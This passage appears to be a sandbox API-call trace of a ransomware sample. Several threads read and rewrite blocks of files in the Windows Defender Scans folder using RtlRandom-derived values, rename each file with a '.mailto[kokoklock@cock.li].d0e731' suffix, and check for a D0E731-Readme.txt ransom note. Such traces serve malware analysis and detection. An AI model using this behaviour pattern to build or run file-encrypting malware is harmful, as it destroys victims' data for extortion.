RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0079.276] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0079.276] WriteFile (in: hFile=0x438, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2183f960, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2183f960*=0x4096, lpOverlapped=0x0) returned 1 [0079.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0079.277] WriteFile (in: hFile=0x438, lpBuffer=0x3492d20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2183f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3492d20*, lpNumberOfBytesWritten=0x2183f9bc*=0x20, lpOverlapped=0x0) returned 1 [0079.277] WriteFile (in: hFile=0x438, lpBuffer=0x34927f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2183f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34927f8*, lpNumberOfBytesWritten=0x2183f9bc*=0x20, lpOverlapped=0x0) returned 1 [0079.277] WriteFile (in: hFile=0x438, lpBuffer=0x3492848*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2183f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3492848*, lpNumberOfBytesWritten=0x2183f9bc*=0x20, lpOverlapped=0x0) returned 1 [0079.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0079.277] WriteFile (in: hFile=0x438, lpBuffer=0x34924b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2183f9c4, lpOverlapped=0x0 | out: lpBuffer=0x34924b0*, lpNumberOfBytesWritten=0x2183f9c4*=0x8, lpOverlapped=0x0) returned 1 [0079.277] WriteFile (in: hFile=0x438, lpBuffer=0x2183f9dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2183f9c4, lpOverlapped=0x0 | out: lpBuffer=0x2183f9dc*, lpNumberOfBytesWritten=0x2183f9c4*=0x4, lpOverlapped=0x0) returned 1 [0079.277] WriteFile (in: hFile=0x438, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2183f9c4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2183f9c4*=0x4, lpOverlapped=0x0) returned 1 [0079.277] WriteFile (in: hFile=0x438, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2183f9c4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2183f9c4*=0x6c, lpOverlapped=0x0) returned 1 [0079.277] WriteFile (in: hFile=0x438, lpBuffer=0x3492578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2183f9c4, lpOverlapped=0x0 | out: lpBuffer=0x3492578*, lpNumberOfBytesWritten=0x2183f9c4*=0x20, lpOverlapped=0x0) returned 1 [0079.277] WriteFile (in: hFile=0x438, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2183f9c4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2183f9c4*=0x4, lpOverlapped=0x0) returned 1 [0079.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492578) returned 1 [0079.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492488) returned 1 [0079.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34924b0) returned 1 [0079.278] CloseHandle (hObject=0x438) returned 1 [0079.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33f9a30 [0079.278] wcscpy (in: _Dest=0x33f9a30, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B" [0079.278] wcscat (in: _Dest=0x33f9a30, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B.mailto[kokoklock@cock.li].d0e731" [0079.278] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.5b"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.5b.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.283] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f9a30) returned 1 [0079.284] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B", dwFileAttributes=0x20) returned 0 [0079.284] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348be38 [0079.284] wcscpy (in: _Dest=0x348be38, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.284] wcscat (in: _Dest=0x348be38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.284] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348be38) returned 1 [0079.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a3a0) returned 1 [0079.284] RtlExitUserThread (Status=0x1) Thread: id = 919 os_tid = 0x1560 [0079.285] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.67")) returned 0x20 [0079.286] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67", dwFileAttributes=0x20) returned 1 [0079.286] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.67"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0079.286] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x218bfe38 | out: lpFileSize=0x218bfe38*=111258476) returned 1 [0079.286] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x6a1ab68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.286] ReadFile (in: hFile=0x42c, lpBuffer=0x218bfe0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x218bfe08, lpOverlapped=0x0 | out: lpBuffer=0x218bfe0c*, lpNumberOfBytesRead=0x218bfe08*=0x4, lpOverlapped=0x0) returned 1 [0079.289] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34923c0 [0079.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492500 [0079.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492438 [0079.289] NtQuerySystemTime (in: CurrentTime=0x218bfde4 | out: CurrentTime=0x218bfde4*=132121176371885971) returned 0x0 [0079.289] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0xe98c1c88 [0079.289] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x8ebd6501 [0079.289] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x2f6756f1 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x5c73b67e [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x1af012e4 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x968a62cc [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0xb1e94e05 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x84ebc842 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0xc601758a [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x653386e [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x3b431cb8 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x5823f8ff [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0xfb9a04f5 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0xc7835ff6 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x42c20fa3 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x4734ec83 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0xe5aa82c8 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x243bcba8 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0xa43dcd5f [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x68cef36d [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x85bdfb16 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x8edb72f7 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x1b6a4071 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x19b63079 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x57059dd8 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0xdab53dbc [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x98805fcd [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x4f93e26d [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x9a8152a3 [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x155ee09d [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0x480740bf [0079.290] RtlRandom (in: Seed=0x218bfdf0 | out: Seed=0x218bfdf0) returned 0xf011c514 [0079.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34923c0) returned 1 [0079.301] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0079.301] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.301] ReadFile (in: hFile=0x42c, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x218bfda4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x218bfda4*=0x4096, lpOverlapped=0x0) returned 1 [0079.311] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492528 [0079.312] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492528) returned 1 [0079.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34923c0 [0079.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492528 [0079.312] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492528) returned 1 [0079.312] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.312] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.312] WriteFile (in: hFile=0x42c, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x218bfda4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x218bfda4*=0x4096, lpOverlapped=0x0) returned 1 [0079.313] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.313] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x350f3ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.313] ReadFile (in: hFile=0x42c, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x218bfda4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x218bfda4*=0x4096, lpOverlapped=0x0) returned 1 [0079.314] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x350f3ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492528 [0079.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492528) returned 1 [0079.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492528 [0079.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492550 [0079.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492550) returned 1 [0079.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.315] WriteFile (in: hFile=0x42c, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x218bfda4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x218bfda4*=0x4096, lpOverlapped=0x0) returned 1 [0079.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.315] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x6a16ad6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.315] ReadFile (in: hFile=0x42c, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x218bfda4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x218bfda4*=0x4096, lpOverlapped=0x0) returned 1 [0083.198] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x6a16ad6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.198] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0083.198] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0083.198] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0083.198] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0083.199] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.199] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0083.199] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cda8 [0083.199] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0083.199] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0083.199] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0083.199] WriteFile (in: hFile=0x42c, lpBuffer=0x348d230*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x218bfda4, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesWritten=0x218bfda4*=0x4096, lpOverlapped=0x0) returned 1 [0083.199] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.199] WriteFile (in: hFile=0x42c, lpBuffer=0x34923c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x218bfe00, lpOverlapped=0x0 | out: lpBuffer=0x34923c0*, lpNumberOfBytesWritten=0x218bfe00*=0x20, lpOverlapped=0x0) returned 1 [0083.199] WriteFile (in: hFile=0x42c, lpBuffer=0x3492528*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x218bfe00, lpOverlapped=0x0 | out: lpBuffer=0x3492528*, lpNumberOfBytesWritten=0x218bfe00*=0x20, lpOverlapped=0x0) returned 1 [0083.199] WriteFile (in: hFile=0x42c, lpBuffer=0x342ce98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x218bfe00, lpOverlapped=0x0 | out: lpBuffer=0x342ce98*, lpNumberOfBytesWritten=0x218bfe00*=0x20, lpOverlapped=0x0) returned 1 [0083.200] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0083.200] WriteFile (in: hFile=0x42c, lpBuffer=0x34924b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x218bfe08, lpOverlapped=0x0 | out: lpBuffer=0x34924b0*, lpNumberOfBytesWritten=0x218bfe08*=0x8, lpOverlapped=0x0) returned 1 [0083.200] WriteFile (in: hFile=0x42c, lpBuffer=0x218bfe20*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x218bfe08, lpOverlapped=0x0 | out: lpBuffer=0x218bfe20*, lpNumberOfBytesWritten=0x218bfe08*=0x4, lpOverlapped=0x0) returned 1 [0083.200] WriteFile (in: hFile=0x42c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x218bfe08, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x218bfe08*=0x4, lpOverlapped=0x0) returned 1 [0083.200] WriteFile (in: hFile=0x42c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x218bfe08, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x218bfe08*=0x6c, lpOverlapped=0x0) returned 1 [0083.200] WriteFile (in: hFile=0x42c, lpBuffer=0x3492500*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x218bfe08, lpOverlapped=0x0 | out: lpBuffer=0x3492500*, lpNumberOfBytesWritten=0x218bfe08*=0x20, lpOverlapped=0x0) returned 1 [0083.200] WriteFile (in: hFile=0x42c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x218bfe08, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x218bfe08*=0x4, lpOverlapped=0x0) returned 1 [0083.200] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492500) returned 1 [0083.200] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492488) returned 1 [0083.200] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34924b0) returned 1 [0083.200] CloseHandle (hObject=0x42c) returned 1 [0083.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x34237c8 [0083.200] wcscpy (in: _Dest=0x34237c8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67" [0083.200] wcscat (in: _Dest=0x34237c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67.mailto[kokoklock@cock.li].d0e731" [0083.201] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.67"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.67.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.611] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34237c8) returned 1 [0086.611] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67", dwFileAttributes=0x20) returned 0 [0086.611] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c428 [0086.611] wcscpy (in: _Dest=0x348c428, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0086.611] wcscat (in: _Dest=0x348c428, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0086.611] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0086.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c428) returned 1 [0086.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347af00) returned 1 [0086.612] RtlExitUserThread (Status=0x1) Thread: id = 920 os_tid = 0x1564 [0079.289] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.79")) returned 0x820 [0079.352] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79", dwFileAttributes=0x20) returned 1 [0079.353] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.79"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0079.354] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2193fb24 | out: lpFileSize=0x2193fb24*=61947904) returned 1 [0079.354] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x3b13ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.354] ReadFile (in: hFile=0x438, lpBuffer=0x2193faf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2193faf4, lpOverlapped=0x0 | out: lpBuffer=0x2193faf8*, lpNumberOfBytesRead=0x2193faf4*=0x4, lpOverlapped=0x0) returned 1 [0079.357] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.357] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a60 [0079.357] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491970 [0079.357] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491b50 [0079.357] NtQuerySystemTime (in: CurrentTime=0x2193fad0 | out: CurrentTime=0x2193fad0*=132121176372511175) returned 0x0 [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x6a44a382 [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x5e5018db [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x90ac5210 [0079.357] 